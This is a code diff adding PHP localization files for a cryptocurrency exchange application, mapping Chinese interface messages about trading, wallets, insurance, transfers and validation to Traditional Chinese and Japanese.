'请选择币种' => '請選擇幣種',
|
||||
'最小交易数量不能大于总数量' => '最小交易數量不能大于總數量',
|
||||
'请填写最大交易量' => '請填寫最大交易量',
|
||||
'请填写正确的最大交易量' => '請填寫正確的最大交易量',
|
||||
'对不起,您不是该法币的商家' => '對不起,您不是該法幣的商家',
|
||||
'对不起,您的商家账户不足' => '對不起,您的商家賬戶不足',
|
||||
'发布成功' => '發布成功',
|
||||
'无此商家' => '無此商家',
|
||||
'参数错误2' => '參數錯誤2',
|
||||
'无此记录' => '無此記錄',
|
||||
'购买参数错误' => '購買參數錯誤',
|
||||
'请填写购买额' => '請填寫購買額',
|
||||
'购买额请填写数字' => '購買額請填寫數字',
|
||||
'未完成单子超过3单,请完成后再操作!' => '未完成單子超過3單,請完成後再操作!',
|
||||
'此条交易已完成' => '此條交易已完成',
|
||||
'非法提交,数量必须大于0' => '非法提交,數量必須大于0',
|
||||
'您低于最低限额' => '您低于最低限額',
|
||||
'您高于最高限额' => '您高于最高限額',
|
||||
'您高于最大限制数量' => '您高于最大限制數量',
|
||||
'未找到该商家' => '未找到該商家',
|
||||
'不能操作自己的' => '不能操作自己的',
|
||||
'您无此钱包账号' => '您無此錢包賬號',
|
||||
'您的钱包已被锁定,请联系管理员' => '您的錢包已被鎖定,請聯系管理員',
|
||||
'您的法币余额不足' => '您的法幣余額不足',
|
||||
'您的法币冻结资金异常,请查看您是否有正在进行的挂单' => '您的法幣凍結資金異常,請查看您是否有正在進行的挂單',
|
||||
'您出售数量大于商家剩余数量!' => '您出售數量大于商家剩余數量!',
|
||||
'您购买数量大于商家剩余数量!' => '您購買數量大于商家剩余數量!',
|
||||
'您不是此币商家' => '您不是此幣商家',
|
||||
'该订单已操作过,请勿重复操作' => '該訂單已操作過,請勿重複操作',
|
||||
'对不起,您无权操作' => '對不起,您無權操作',
|
||||
'操作成功,请联系卖家确认' => '操作成功,請聯系賣家確認',
|
||||
'该订单已操作,请勿取消' => '該訂單已操作,請勿取消',
|
||||
'操作成功,订单已取消' => '操作成功,訂單已取消',
|
||||
'对不起您不是商家' => '對不起您不是商家',
|
||||
'对不起,您不是该商家' => '對不起,您不是該商家',
|
||||
'该订单还未付款或已经操作过' => '該訂單還未付款或已經操作過',
|
||||
'订单异常' => '訂單異常',
|
||||
'您不能确认该订单' => '您不能確認該訂單',
|
||||
'该用户没有此币种钱包' => '該用戶沒有此幣種錢包',
|
||||
'确认成功' => '確認成功',
|
||||
'商家不存在' => '商家不存在',
|
||||
'已撤回发布' => '已撤回發布',
|
||||
'该发布信息下有交易产生无法删除' => '該發布信息下有交易産生無法刪除',
|
||||
'撤回成功' => '撤回成功',
|
||||
'该发布信息下有交易未完成,不能标记为异常' => '該發布信息下有交易未完成,不能標記爲異常',
|
||||
'该发布信息无异常' => '該發布信息無異常',
|
||||
'对不起,您的商家账户冻结资金不足' => '對不起,您的商家賬戶凍結資金不足',
|
||||
'处理成功' => '處理成功',
|
||||
'该币种不支持购买保险' => '該幣種不支持購買保險',
|
||||
'错误的金额!' => '錯誤的金額!',
|
||||
'不存在的险种!' => '不存在的險種!',
|
||||
'不存在的币种!' => '不存在的幣種!',
|
||||
'已经购买了该币种的险种!' => '已經購買了該幣種的險種!',
|
||||
'可用余额不足,无法购买!' => '可用余額不足,無法購買!',
|
||||
'购买成功!' => '購買成功!',
|
||||
'未找到该保险' => '未找到該保險',
|
||||
'该保险正在处理中' => '該保險正在處理中',
|
||||
'申请索赔成功!' => '申請索賠成功!',
|
||||
'超出今日索赔次数!' => '超出今日索賠次數!',
|
||||
'存在未平仓订单' => '存在未平倉訂單',
|
||||
'受保资产不符合可申请索赔条件1' => '受保資産不符合可申請索賠條件1',
|
||||
'受保资产不符合可申请索赔条件2' => '受保資産不符合可申請索賠條件2',
|
||||
'未知受保金额去向状态' => '未知受保金額去向狀態',
|
||||
'处理成功!' => '處理成功!',
|
||||
'该保险已失效' => '該保險已失效',
|
||||
'该保险正在索赔处理中' => '該保險正在索賠處理中',
|
||||
'解约失败,存在未平仓订单' => '解約失敗,存在未平倉訂單',
|
||||
'保险解约,赔付金额' => '保險解約,賠付金額',
|
||||
'解约成功!' => '解約成功!',
|
||||
'内容不能为空' => '內容不能爲空',
|
||||
'暂无数据' => '暫無數據',
|
||||
'文件大小超出' => '文件大小超出',
|
||||
'文件类型非法' => '文件類型非法',
|
||||
'文件类型不对' => '文件類型不對',
|
||||
'该文件已存在' => '該文件已存在',
|
||||
'币未找到' => '幣未找到',
|
||||
'转账账户不存在!' => '轉賬賬戶不存在!',
|
||||
'不能给自己转账!' => '不能給自己轉賬!',
|
||||
'转账数量大于剩余数量!' => '轉賬數量大于剩余數量!',
|
||||
'余额不足!' => '余額不足!',
|
||||
'通证转账成功!' => '通證轉賬成功!',
|
||||
'请输入支付密码' => '請輸入支付密碼',
|
||||
'无需升级' => '無需升級',
|
||||
'暂无钱包' => '暫無錢包',
|
||||
'升级成功' => '升級成功',
|
||||
'该地址别人已经绑定过了' => '該地址別人已經綁定過了',
|
||||
'请把参数填写完整' => '請把參數填寫完整',
|
||||
'用户已存在' => '用戶已存在',
|
||||
'推荐用户不存在' => '推薦用戶不存在',
|
||||
'转入账户不能为空' => '轉入賬戶不能爲空',
|
||||
'密码不能为空' => '密碼不能爲空',
|
||||
'转入数量不能为空' => '轉入數量不能爲空',
|
||||
'用户密码错误' => '用戶密碼錯誤',
|
||||
'转入成功' => '轉入成功',
|
||||
'密码修改成功' => '密碼修改成功',
|
||||
'请输入正确的交易数量或价格' => '請輸入正確的交易數量或價格',
|
||||
'用户钱包不存在' => '用戶錢包不存在',
|
||||
'对不起,您的钱包余额不足' => '對不起,您的錢包余額不足',
|
||||
'用户不存在' => '用戶不存在',
|
||||
'未找到该发布用户' => '未找到該發布用戶',
|
||||
'检测有未完成交易,请完成后再来!' => '檢測有未完成交易,請完成後再來!',
|
||||
'您的余额不足' => '您的余額不足',
|
||||
'用户信息不正确' => '用戶信息不正確',
|
||||
'对不起,这不是您的发布信息' => '對不起,這不是您的發布信息',
|
||||
'对不起,您无权撤销此记录' => '對不起,您無權撤銷此記錄',
|
||||
'对不起,您的账户冻结资金不足' => '對不起,您的賬戶凍結資金不足',
|
||||
'取消次数已超出' => '取消次數已超出',
|
||||
'次,明天再发布' => '次,明天再發布',
|
||||
',错误位于第' => ',錯誤位于第',
|
||||
'行' => '行',
|
||||
'您今天的取消次数已超出' => '您今天的取消次數已超出',
|
||||
'次' => '次',
|
||||
'在 ' => '在 ',
|
||||
'购买法币成功,增加法币余额' => '購買法幣成功,增加法幣余額',
|
||||
'转账数量不能小于' => '轉賬數量不能小于',
|
||||
'转账数量不能大于' => '轉賬數量不能大于',
|
||||
'解约失败:' => '解約失敗:',
|
||||
'操作成功,请联系商家确认订单' => '操作成功,請聯系商家確認訂單',
|
||||
'您还没有通过实名认证' => '您還沒有通過實名認證',
|
||||
'您还没有设置收款信息' => '您還沒有設置收款信息',
|
||||
'撤单失败:' => '撤單失敗:',
|
||||
'扣除保证金失败:' => '扣除保證金失敗:',
|
||||
'扣除手续费失败:' => '扣除手續費失敗:',
|
||||
'手数不能低于' => '手數不能低于',
|
||||
'手数不能高于' => '手數不能高于',
|
||||
'余额不足,不能小于' => '余額不足,不能小于',
|
||||
'(手续费:' => '(手續費:',
|
||||
'此法币' => '此法幣',
|
||||
'商家名称已存在' => ',商家名稱已存在',
|
||||
'请实名认证'=>'請實名認證',
|
||||
'申请成功' => '申請成功',
|
||||
'最小下单数量不能小于' => '最小下單數量不能小於 :micro_min',
|
||||
'ces' => '最小下單數量不能小於',
|
||||
'认证成功,请等待审核' => '提交成功,請等待審核',
|
||||
'操作失败:您的信用分不足' => '操作失敗:您的信用分不足 :source',
|
||||
'操作失败:您有未平仓的交易,操作禁止' => '操作失敗:您有未平倉的交易,操作禁止',
|
||||
'支付通道维护,请更换支付方式' => '支付通道維護,請更換支付方式',
|
||||
'您好,您的账户已被锁定,详情请咨询客服。' => "您好,您的賬戶已被鎖定,詳情請諮詢客服。",
|
||||
'您好,您的资金已被锁定,详情请咨询客服。' => "您好,您的資金已被鎖定,詳情請諮詢客服。",
|
||||
);
|
||||
@@ -0,0 +1,19 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Pagination Language Lines
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| The following language lines are used by the paginator library to build
|
||||
| the simple pagination links. You are free to change them to anything
|
||||
| you want to customize your views to better match your application.
|
||||
|
|
||||
*/
|
||||
|
||||
'previous' => '« 上壹頁',
|
||||
'next' => '下壹頁 »',
|
||||
|
||||
];
|
||||
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Password Reset Language Lines
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| The following language lines are the default lines which match reasons
|
||||
| that are given by the password broker for a password update attempt
|
||||
| has failed, such as for an invalid token or invalid new password.
|
||||
|
|
||||
*/
|
||||
|
||||
'password' => '密碼必須至少6個字符,並且確認匹配。',
|
||||
'reset' => '您的密碼已經重置!',
|
||||
'sent' => '已經向您郵箱發送了重置密碼鏈接!',
|
||||
'token' => '密碼重置token已效。',
|
||||
'user' => "您的電子郵件不存在。",
|
||||
|
||||
];
|
||||
@@ -0,0 +1,97 @@
|
||||
<?php
|
||||
return [
|
||||
'unique' => ':attribute 已存在',
|
||||
'accepted' => ':attribute 是被接受的',
|
||||
'active_url' => ':attribute 必須是壹個合法的 URL',
|
||||
'after' => ':attribute 必須是 :date 之後的壹個日期',
|
||||
'alpha' => ':attribute 必須全部由字母字符構成。',
|
||||
'alpha_dash' => ':attribute 必須全部由字母、數字、中劃線或下劃線字符構成',
|
||||
'alpha_num' => ':attribute 必須全部由字母和數字構成',
|
||||
'array' => ':attribute 必須是個數組',
|
||||
'before' => ':attribute 必須是 :date 之前的壹個日期',
|
||||
'between' => [
|
||||
'numeric' => ':attribute 必須在 :min 到 :max 之間',
|
||||
'file' => ':attribute 必須在 :min 到 :max KB之間',
|
||||
'string' => ':attribute 必須在 :min 到 :max 個字符之間',
|
||||
'array' => ':attribute 必須在 :min 到 :max 項之間',
|
||||
],
|
||||
'boolean' => ':attribute 字符必須是 true 或 false',
|
||||
'confirmed' => ':attribute 二次確認不匹配',
|
||||
'date' => ':attribute 必須是壹個合法的日期',
|
||||
'date_format' => ':attribute 與給定的格式 :format 不符合',
|
||||
'different' => ':attribute 必須不同於:other',
|
||||
'digits' => ':attribute 必須是 :digits 位',
|
||||
'digits_between' => ':attribute 必須在 :min and :max 位之間',
|
||||
'email' => ':attribute 必須是壹個合法的電子郵件地址。',
|
||||
'filled' => ':attribute 的字段是必填的',
|
||||
'exists' => '選定的 :attribute 是無效的',
|
||||
'image' => ':attribute 必須是壹個圖片 (jpeg, png, bmp 或者 gif)',
|
||||
'in' => '選定的 :attribute 是無效的',
|
||||
'integer' => ':attribute 必須是個整數',
|
||||
'ip' => ':attribute 必須是壹個合法的 IP 地址。',
|
||||
'max' => [
|
||||
'numeric' => ':attribute 的最大長度為 :max 位',
|
||||
'file' => ':attribute 的最大為 :max',
|
||||
'string' => ':attribute 的最大長度為 :max 字符',
|
||||
'array' => ':attribute 的最大個數為 :max 個',
|
||||
],
|
||||
'mimes' => ':attribute 的文件類型必須是:values',
|
||||
'min' => [
|
||||
'numeric' => ':attribute 的最小長度為 :min 位',
|
||||
'string' => ':attribute 的最小長度為 :min 字符',
|
||||
'file' => ':attribute 大小至少為:min KB',
|
||||
'array' => ':attribute 至少有 :min 項',
|
||||
],
|
||||
'not_in' => '選定的 :attribute 是無效的',
|
||||
'numeric' => ':attribute 必須是數字',
|
||||
'regex' => ':attribute 格式是無效的',
|
||||
'required' => ':attribute 字段必須填寫',
|
||||
'required_if' => ':attribute 字段是必須的當 :other 是 :value',
|
||||
'required_with' => ':attribute 字段是必須的當 :values 是存在的',
|
||||
'required_with_all' => ':attribute 字段是必須的當 :values 是存在的',
|
||||
'required_without' => ':attribute 字段是必須的當 :values 是不存在的',
|
||||
'required_without_all' => ':attribute 字段是必須的當 沒有壹個 :values 是存在的',
|
||||
'same' => ':attribute 和 :other 必須匹配',
|
||||
'size' => [
|
||||
'numeric' => ':attribute 必須是 :size 位',
|
||||
'file' => ':attribute 必須是 :size KB',
|
||||
'string' => ':attribute 必須是 :size 個字符',
|
||||
'array' => ':attribute 必須包括 :size 項',
|
||||
],
|
||||
'url' => ':attribute 無效的格式',
|
||||
'timezone' => ':attribute 必須個有效的時區',
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Custom Validation Language Lines
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may specify custom validation messages for attributes using the
|
||||
| convention "attribute.rule" to name the lines. This makes it quick to
|
||||
| specify a specific custom language line for a given attribute rule.
|
||||
|
|
||||
*/
|
||||
'custom' => [
|
||||
'attribute-name' => [
|
||||
'rule-name' => 'custom-message',
|
||||
],
|
||||
],
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Custom Validation Attributes
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| The following language lines are used to swap attribute place-holders
|
||||
| with something more reader friendly such as E-Mail Address instead
|
||||
| of "email". This simply helps us make messages a little cleaner.
|
||||
|
|
||||
*/
|
||||
'attributes' => [
|
||||
'username' => '用戶名',
|
||||
'account' => '賬號',
|
||||
'captcha' => '驗證碼',
|
||||
'mobile' => '手機號',
|
||||
'password' => '密碼',
|
||||
'content' => '內容',
|
||||
'identity' => '手機號/用戶名',
|
||||
],
|
||||
];
|
||||
@@ -0,0 +1,3 @@
|
||||
{
|
||||
"最小下单数量不能小于": "最小注文数量は、 :micro_min"
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
return [
|
||||
"is_lock" => "アカウントのロック",
|
||||
"unknown" => "不明なタイプ",
|
||||
"1" => "バックグラウンド調整資金口座残高",
|
||||
"2" => "バックグラウンド調整資金口座ロック残高",
|
||||
"3" => "バックグラウンドでコイン口座残高を調整する",
|
||||
"4" => "バックグラウンド調整コイン口座",
|
||||
"5" => "契約口座残高のバックグラウンド調整",
|
||||
"6" => "バックグラウンド調整契約口座",
|
||||
"7" => "バックグラウンド調整オプション口座残高",
|
||||
"8" => "バックグラウンド調整オプション口座",
|
||||
"9" => "資金口座転出取引口座",
|
||||
"10" => "取引口座振込資本口座",
|
||||
"11" => "資金転入",
|
||||
"12" => "資金転出",
|
||||
"13" => "契約口座から取引口座に振り替える",
|
||||
"14" => "契約口座から取引口座に振り替える",
|
||||
"15" => "取引口座振替契約口座",
|
||||
"16" => "契約口座転出取引口座",
|
||||
"33" => "コミッションの返却を要請する",
|
||||
"99" => "ユーザーの現金化",
|
||||
"102" => "購買取引を取り消す",
|
||||
"103" => "売却取引を取り消す",
|
||||
"65" => "繰り越し資金取引残高",
|
||||
"66" => "通貨取引残高転入",
|
||||
"67" => "契約取引残高転入",
|
||||
"206" => "契約の転入と資金の削減",
|
||||
"207" => "資金が契約に転入し,契約が増加する",
|
||||
"208" => "契約資金の振り替えが承認され、契約が減少した",
|
||||
"209" => "契約資金の振り替えが承認され、資金が増加する",
|
||||
"210" => "契約転換資金、契約転換値の凍結",
|
||||
"211" => "契約は資金を転換して、審査は解凍を通過しません",
|
||||
"107" => "通証両替USDT",
|
||||
"37" => "通証両替、契約通貨増加",
|
||||
"212" => "歴史的損益の釈放、契約通貨の増加",
|
||||
"105" => "奨励通証",
|
||||
"106" => "奨励デジタル通貨",
|
||||
"108" => "ちょうせいつうしん",
|
||||
"38" => "申請は業者控除USDT",
|
||||
"39" => "資産を両替し、貨幣資金を減らす",
|
||||
"40" => "資産の両替、USDT資金の増加",
|
||||
"41" => "BOSSをアクティブにする",
|
||||
"42" => "ロックボーリング",
|
||||
"43" => "BOSS口座から残高を振り替える",
|
||||
"44" => "ロックバック",
|
||||
"45" => "DeFi資金記録",
|
||||
"51" => "貨幣取引",
|
||||
"50" => "貨幣取引凍結",
|
||||
"100" => "両替に成功しました",
|
||||
"101" => "通貨の引き出しに失敗しました",
|
||||
"700" => "IEOオーダー",
|
||||
"701" => "通貨換算増加",
|
||||
"702" => "通貨換算減少",
|
||||
"703" => "貨幣振替手数料",
|
||||
"704" => "ロックボーリング",
|
||||
"705" => "掘削収益",
|
||||
"706" => "次の単数を下回ってはならない",
|
||||
"1000" => "2ドルの財テクを購入する",
|
||||
"1001" => "2ドルの財テク決済",
|
||||
"707" => "購入に従う-保証金を差し引く",
|
||||
"708" => "購入フォロー-手数料控除",
|
||||
"1002" => "NFT購入",
|
||||
"1003" => "競売で保証金を差し引く",
|
||||
"1005" => "NFTオークション注文支払い",
|
||||
"1004" => "競売で保証金を払い戻す",
|
||||
'32' => 'ブレイクアウトフリーズ',
|
||||
'35' => '取引手数料',
|
||||
'30' => '契約取引は証拠金を差し引く',
|
||||
];
|
||||
@@ -0,0 +1,328 @@
|
||||
<?php
|
||||
|
||||
return array(
|
||||
'退出登录成功' => '正常にログアウトします',
|
||||
'电话不能为空' => '電話が必要',
|
||||
'账号已存在' => 'アカウントはすでに存在しています',
|
||||
'两次密码不一致' => '2つのパスワードに一貫性がありません',
|
||||
'用户未找到' => 'ユーザーが見つかりません',
|
||||
'钱包已添加,请勿重复添加' => 'ウォレットは追加されています。繰り返し追加しないでください。',
|
||||
'添加成功' => '正常に追加されました',
|
||||
'参数错误' => 'パラメータエラー',
|
||||
'支付密码错误' => '間違った支払いパスワード',
|
||||
'余额不足' => '残高不足です',
|
||||
'转账至交易所钱包' => '取引所のウォレットに資金を転送する',
|
||||
'转账成功' => '転送の成功',
|
||||
'找不到用户' => 'ユーザーが見つかりません',
|
||||
'用户钱包未找到' => 'ユーザーウォレットが見つかりません',
|
||||
'接收来自交易所的转账' => '取引所からの送金を受け取る',
|
||||
'您还没有钱包' => 'あなたは財布を持っていません',
|
||||
'请输入正确的值' => '正しい値を入力してください',
|
||||
'地址输入有误' => 'アドレスが間違って入力されている',
|
||||
'地址输入有误1' => 'アドレスが間違って入力されている1',
|
||||
'不能转账给自己' => '自分に送金できません',
|
||||
'暂时还没有添加币种' => '通貨はまだ追加されていません',
|
||||
'此币种不存在' => 'この通貨は存在しません',
|
||||
'已经有此提币地址' => 'この撤退アドレスはすでにあります',
|
||||
'添加提币地址成功' => '引き出しアドレスの追加に成功しました',
|
||||
'此提币地址不存在' => 'この引き出し先住所は存在しません',
|
||||
'您没有权限删除此地址' => 'このアドレスを削除する権限がありません',
|
||||
'删除提币地址成功' => '引き出しアドレスを正常に削除します',
|
||||
'输入的金额不能为负数' => '入力する金額を負の数にすることはできません',
|
||||
'您有正在进行中的杆杠交易,不能进行此操作' => '進行中のレバレッジトランザクションがあり、この操作を実行できません',
|
||||
'钱包不存在' => 'ウォレットが存在しません',
|
||||
'划转成功' => '転送の成功',
|
||||
'币种不存在' => '通貨は存在しません',
|
||||
'您还没有添加提币地址' => '出金先住所を追加していません',
|
||||
'数量不能少于最小值' => '数量は最小値より少なくすることはできません',
|
||||
'提币申请已成功,等待审核' => '撤回申請は成功し、審査を待っています',
|
||||
'类型错误' => 'タイプエラー',
|
||||
'钱包未找到' => 'ウォレットが見つかりません',
|
||||
'数量不能小于等于0' => '数量は0以下にすることはできません',
|
||||
'价格不能小于等于0' => '価格は0以下にすることはできません',
|
||||
'参数错误哦' => 'パラメータエラー',
|
||||
'数量不足' => '数量が不足しています',
|
||||
'操作成功' => '実行成功',
|
||||
'真实姓名必须填写' => '本名を入力する必要があります',
|
||||
'收款信息至少选填一项' => '支払い情報を少なくとも1つ入力してください',
|
||||
'保存成功' => '正常に保存',
|
||||
'密码错误' => '間違ったパスワード',
|
||||
'当前行情小于等于零!' => '現在の市場はゼロ以下です!',
|
||||
'参数错误!' => 'パラメータエラー!',
|
||||
'兑换数量大于持有资产!' => '交換金額は保有資産を上回っています!',
|
||||
'资产兑换成功!' => '資産交換は成功です!',
|
||||
'兑换数量大于剩余数量!' => '交換数量が残り数量より多いです!',
|
||||
'通证兑换成功!' => 'トークン交換が成功しました!',
|
||||
'必填项信息不完整' => '必要な情報が不完全です',
|
||||
'两次输入密码不一致' => '2つのパスワードに一貫性がありません',
|
||||
'此用户不存在' => 'このユーザーは存在しません',
|
||||
'此交易账号已经设置' => 'この取引口座は設定されています',
|
||||
'此账号已经存在' => 'このアカウントはすでに存在します',
|
||||
'交易账号设置成功' => '取引口座が正常に設定されました',
|
||||
'验证码错误' => '検証コードエラー',
|
||||
'手机绑定成功' => '携帯電話のバインドに成功',
|
||||
'邮箱绑定成功' => 'メールボックスのバインドに成功',
|
||||
'手势密码至少连接6个点' => 'ジェスチャパスワードには少なくとも6つのポイントが接続されている必要があります',
|
||||
'两次手势密码不相同' => '2つのジェスチャーパスワードが同じではありません',
|
||||
'手势密码添加成功' => 'ジェスチャーパスワードが正常に追加されました',
|
||||
'取消手势密码成功' => 'ジェスチャーパスワードを正常にキャンセルする',
|
||||
'密码只能在6-16位之间' => 'パスワードは6〜16桁のみです',
|
||||
'交易密码设置成功' => 'トランザクションパスワードが正常に設定されました',
|
||||
'暂时还没有邀请排行榜,快去邀请吧' => '招待リーダーボードはまだありません。行って招待してください',
|
||||
'会员未找到' => 'メンバーが見つかりません',
|
||||
'你已绑定,不可更改!' => 'あなたは縛られており、変えることはできません!',
|
||||
'该地址已被绑定,请重新输入' => 'アドレスがバインドされています。再入力してください',
|
||||
'绑定成功!' => 'バインディングは成功しました!',
|
||||
'请提交完整的信息' => '完全な情報を提出してください',
|
||||
'请输入合法的身份证号码' => '法定ID番号を入力してください',
|
||||
'该身份证号已实名认证过!' => 'ID番号は他人の本名で確認済みです!',
|
||||
'您已经申请过了' => 'あなたはすでに申請しました',
|
||||
'提交成功,等待审核' => '正常に送信され、レビューを待っています',
|
||||
'您还没有交易记录' => '取引記録がありません',
|
||||
'非法操作,不能撤回非自己发布的信息' => '違法な操作、自分で投稿していない情報を取り下げることはできません',
|
||||
'非法操作:(' => '違法な操作:(',
|
||||
'取销卖出交易失败' => '販売取引のキャンセルに失敗しました',
|
||||
'取消成功' => '成功をキャンセル',
|
||||
'非法操作' => '違法な操作',
|
||||
'数据未找到' => 'データが見つかりません',
|
||||
'请先添加钱包' => '最初に財布を追加してください',
|
||||
'价格和数量必须大于0' => '価格と数量は0より大きくなければなりません',
|
||||
'您的币不足' => 'コインが足りません',
|
||||
'您的冻结资金异常,禁止挂卖' => 'あなたの凍結された資金は異常です、それは売ることを禁じられています',
|
||||
'你今天的交易额度已达到上限!' => '今日のあなたの取引制限は上限に達しました!',
|
||||
'系统配置错误,请联系系统管理员' => 'システム構成エラー、システム管理者に連絡してください',
|
||||
'手机号不能为空' => '電話番号を空にすることはできません',
|
||||
'发送成功' => '正常に送信されました',
|
||||
'账号错误' => 'アカウントエラー',
|
||||
'请填写手机号' => '電話番号を入力してください',
|
||||
'参数不全' => '不完全なパラメータ',
|
||||
'服务器空间不支持,请确认支持curl或者fsocket,联系您的空间商解决或者更换空间!' => 'サーバースペースはサポートされていません。curlまたはfsocketがサポートされていることを確認し、スペースプロバイダーに連絡して、スペースを解決または交換してください。',
|
||||
'帐户已过期' => 'アカウントの有効期限が切れました',
|
||||
'IP地址限制' => 'IPアドレスの制限',
|
||||
'账号被禁用' => 'アカウントが無効になっています',
|
||||
'内容含有敏感词' => 'コンテンツに機密性の高い単語が含まれている',
|
||||
'ip参数不正确' => 'ipパラメータが正しくありません',
|
||||
'邮箱不能为空' => 'メールボックスに記入する必要があります',
|
||||
'操作错误' => '操作エラー',
|
||||
'无此币种' => 'そのような通貨はありません',
|
||||
'该币不是法币' => '通貨は法定通貨ではありません',
|
||||
'用户名不能为空' => 'ユーザー名を空にすることはできません',
|
||||
'名称不能为空' => '名前は必須です',
|
||||
'资产不能为空' => 'コンテンツを空白にすることはできません',
|
||||
'找不到此交易账号的用户' => 'この取引口座のユーザーが見つかりません',
|
||||
'此用户还未通过实名认证' => 'このユーザーは実名認証に合格していません',
|
||||
'此用户已是此法币商家' => 'このユーザーはすでにこの法定通貨の商人です',
|
||||
'新闻不存在' => 'ニュースは存在しません',
|
||||
'下单失败:超过最大持仓笔数限制' => '注文に失敗しました:最大ポジション数の制限を超えました',
|
||||
'当前未获取到行情' => '市場は現在利用できません',
|
||||
'尚未申购或理赔保险' => 'まだ加入していないか、保険に加入していない',
|
||||
'申购的保险T+1生效' => '購入した保険T + 1が有効になります',
|
||||
'受保资产为零' => 'ゼロ保険資産',
|
||||
'受保资产小于等于可下单条件' => '被保険者の資産は、配置できる条件以下です。',
|
||||
'您已超过持仓限制,暂停下单。' => 'ポジション制限を超え、注文が一時停止されました。',
|
||||
'未知的险种类型' => '不明な種類の保険',
|
||||
'超过最大持仓数量限制' => 'ポジション制限の最大数を超えています',
|
||||
'交易中的订单大于最大挂单数量' => 'トランザクション内の注文が保留中の注文の最大数よりも多い',
|
||||
'请输入账号' => 'ユーザー名を入力してください',
|
||||
'请输入密码' => 'パスワードを入力してください',
|
||||
'手势密码错误' => 'ジェスチャーパスワードエラー',
|
||||
'请填写正确的邀请码' => '正しい招待コードを入力してください',
|
||||
'注册成功' => '登録成功',
|
||||
'请输入密码或确认密码' => 'パスワードの入力または確認をお願いします',
|
||||
'输入两次密码不一致' => '2つのパスワードに一貫性がありません',
|
||||
'账号不存在' => 'アカウントが存在しません',
|
||||
'验证码不正确' => '確認コードが正しくありません',
|
||||
'修改密码成功' => 'パスワードの変更に成功',
|
||||
'请输入验证码' => '確認コードを入力してください',
|
||||
'验证成功' => '正常に検証されました',
|
||||
'父级不存在' => '親が存在しません',
|
||||
'请重试' => 'もう一度やり直してください',
|
||||
'参数错误:(' => 'パラメータエラー:(',
|
||||
'缺少参数或传值错误' => 'パラメータがないか、値が間違っています',
|
||||
'指定交易对不存在' => '指定されたトレーディングペアは存在しません',
|
||||
'您未开通本交易对的交易功能' => 'このトレーディングペアのトレーディング機能を有効にしていません',
|
||||
'手数必须是大于0的整数' => 'ロットサイズは0より大きい整数である必要があります',
|
||||
'选择倍数不在系统范围' => '乗数の選択はシステム全体ではありません',
|
||||
'您有正在平仓中的交易,暂不能进行买卖' => 'ポジションをクローズする過程にある取引があり、一時的に売買することはできません',
|
||||
'交易类型错误' => '間違ったトランザクションタイプ',
|
||||
'该功能暂未开放' => 'この機能はまだ開いていません',
|
||||
'限价交易价格必须大于0' => '指値取引価格は0より大きくなければなりません',
|
||||
'当前没有获取到行情价格,请稍后重试' => '現在、市場価格は取得されていません。しばらくしてからもう一度お試しください',
|
||||
'限价交易卖出不能低于当前价' => '指値取引は現在の価格を下回って販売することはできません',
|
||||
'限价交易买入价格不能高于当前价' => '指値取引の購入価格は現在の価格より高くすることはできません',
|
||||
'钱包未找到,请先添加钱包' => 'ウォレットが見つかりません。まずウォレットを追加してください',
|
||||
'提交失败' => '送信に失敗しました',
|
||||
'提交成功' => '正常に送信されました',
|
||||
'此功能系统未开放' => 'この機能システムは開いていません',
|
||||
'止盈止损价格不能为0' => 'ストッププロフィットとストップロスの価格を0にすることはできません',
|
||||
'找不到该笔交易' => '找不到该笔交易',
|
||||
'买入(做多)止盈价不能低于开仓价和当前价' => '買い(ロング)テイク利益価格は始値と現在の価格より低くすることはできません',
|
||||
'买入(做多)止亏价不能高于开仓价和当前价' => '買い(長く行く)ストップロス価格は始値と現在の価格より高くすることはできません',
|
||||
'卖出(做空)止盈价不能高于开仓价和当前价' => '売り(ショート)テイク利益価格は始値と現在の価格より高くすることはできません',
|
||||
'卖出(做空)止亏价不能低于开仓价和当前价' => '売り(ショート)ストップロス価格は始値と現在の価格より低くすることはできません',
|
||||
'设置成功' => '正常に設定されました',
|
||||
'设置失败' => '設定に失敗しました',
|
||||
'无权操作' => '操作する権利がありません',
|
||||
'交易状态异常,请勿重复提交' => '取引状況が異常ですので、繰り返し提出しないでください',
|
||||
'平仓失败,请重试' => '位置を閉じることができませんでした。もう一度やり直してください',
|
||||
'买入方向传参错误' => '購入方向に渡される誤ったパラメーター',
|
||||
'提交成功,请等待系统处理' => '送信は成功しました。システムが処理するまでお待ちください',
|
||||
'未找到需要平仓的交易' => '閉じる必要のあるトランザクションが見つかりませんでした',
|
||||
'交易不存在或已撤单,请刷新后重试' => 'トランザクションが存在しないか、注文がキャンセルされました。更新して再試行してください',
|
||||
'撤单失败:用户钱包不存在' => '注文のキャンセルに失敗しました:ユーザーウォレットが存在しません',
|
||||
'撤单失败:变更状态失败' => '注文のキャンセルに失敗しました:ステータスの変更に失敗しました',
|
||||
'撤单成功' => 'キャンセルに成功',
|
||||
'订单取消成功' => '注文は正常にキャンセルされました',
|
||||
'请选择需求类型' => '要件の種類を選択してください',
|
||||
'请选择交易方式' => '取引方法を選択してください',
|
||||
'请填写单价' => '単価をご記入ください',
|
||||
'请填写数量' => '数量をご記入ください',
|
||||
'请填写最小交易数量' => '最小取引数量を入力してください',
|
||||
'请选择币种' => '通貨を選択してください',
|
||||
'最小交易数量不能大于总数量' => '最小取引数量は合計数量を超えることはできません',
|
||||
'请填写最大交易量' => '最大取引量を入力してください',
|
||||
'请填写正确的最大交易量' => '正しい最大取引量を入力してください',
|
||||
'对不起,您不是该法币的商家' => '申し訳ありませんが、あなたは法定通貨の商人ではありません',
|
||||
'对不起,您的商家账户不足' => '申し訳ありませんが、マーチャントアカウントが不十分です',
|
||||
'发布成功' => '成功',
|
||||
'无此商家' => 'そのような店はありません',
|
||||
'参数错误2' => 'パラメータエラー2',
|
||||
'无此记录' => 'そのような記録はありません',
|
||||
'购买参数错误' => '購入パラメータエラー',
|
||||
